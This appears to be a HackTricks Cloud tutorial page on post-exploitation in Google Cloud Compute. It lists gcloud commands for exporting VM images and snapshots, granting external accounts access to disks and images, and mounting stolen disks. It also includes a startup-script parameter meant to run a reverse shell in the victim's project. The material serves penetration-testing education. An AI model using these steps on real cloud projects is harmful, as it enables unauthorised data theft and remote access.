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148 lines
6.6 KiB
Markdown
148 lines
6.6 KiB
Markdown
# GCP - Compute Post Exploitation
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Compute
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For more information about Compute and VPC (Networking) check:
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{% content-ref url="../gcp-services/gcp-compute-instances-enum/" %}
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[gcp-compute-instances-enum](../gcp-services/gcp-compute-instances-enum/)
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{% endcontent-ref %}
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### Export & Inspect Images locally
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This would allow an attacker to **access the data contained inside already existing images** or **create new images of running VMs** and access their data without having access to the running VM.
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It's possible to export a VM image to a bucket and then download it and mount it locally with the command:
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{% code overflow="wrap" %}
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```bash
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gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
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# The download the export from the bucket and mount it locally
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```
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{% endcode %}
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Fore performing this action the attacker might need privileges over the storage bucket and for sure **privileges over cloudbuild** as it's the **service** which is going to be asked to perform the export\
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Moreover, for this to work the codebuild SA and the compute SA needs privileged permissions.\
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The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` needs:
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* roles/iam.serviceAccountTokenCreator
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* roles/compute.admin
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* roles/iam.serviceAccountUser
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And the SA `<project-id>-compute@developer.gserviceaccount.com` needs:
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* oles/compute.storageAdmin
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* roles/storage.objectAdmin
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### Export & Inspect Snapshots & Disks locally
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It's not possible to directly export snapshots and disks, but it's possible to **transform a snapshot in a disk, a disk in an image** and following the **previous section**, export that image to inspect it locally
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{% code overflow="wrap" %}
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```bash
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# Create a Disk from a snapshot
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gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
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# Create an image from a disk
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gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
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```
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{% endcode %}
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### Inspect an Image creating a VM
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With the goal of accessing the **data stored in an image** or inside a **running VM** from where an attacker **has created an image,** it possible to grant an external account access over the image:
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```bash
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gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
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--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
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--role='roles/compute.imageUser'
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```
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and then create a new VM from it:
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```bash
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gcloud compute instances create [INSTANCE_NAME] \
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--project=[TARGET_PROJECT_ID] \
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--zone=[ZONE] \
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--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
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```
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If you could not give your external account access over image, you could launch a VM using that image in the victims project and **make the metadata execute a reverse shell** to access the image adding the param:
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```bash
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--metadata startup-script='#! /bin/bash
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echo "hello"; <reverse shell>'
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```
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### Inspect a Snapshot/Disk attaching it to a VM
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With the goal of accessing the **data stored in a disk or a snapshot, you could transform the snapshot into a disk, a disk into an image and follow th preivous steps.**
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Or you could **grant an external account access** over the disk (if the starting point is a snapshot give access over the snapshot or create a disk from it):
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```bash
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gcloud projects add-iam-policy-binding [PROJECT_ID] \
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--member='user:[USER_EMAIL]' \
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--role='roles/compute.storageAdmin'
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```
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**Attach the disk** to an instance:
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```bash
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gcloud compute instances attach-disk [INSTANCE_NAME] \
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--disk [DISK_NAME] \
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--zone [ZONE]
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```
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Mount the disk inside the VM:
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1. **SSH into the VM**:
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```sh
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gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
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```
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2. **Identify the Disk**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
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3. **Format and Mount the Disk** (if it's a new or raw disk):
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* Create a mount point:
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```sh
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sudo mkdir -p /mnt/disks/[MOUNT_DIR]
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```
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* Mount the disk:
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```sh
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sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
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```
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If you **cannot give access to a external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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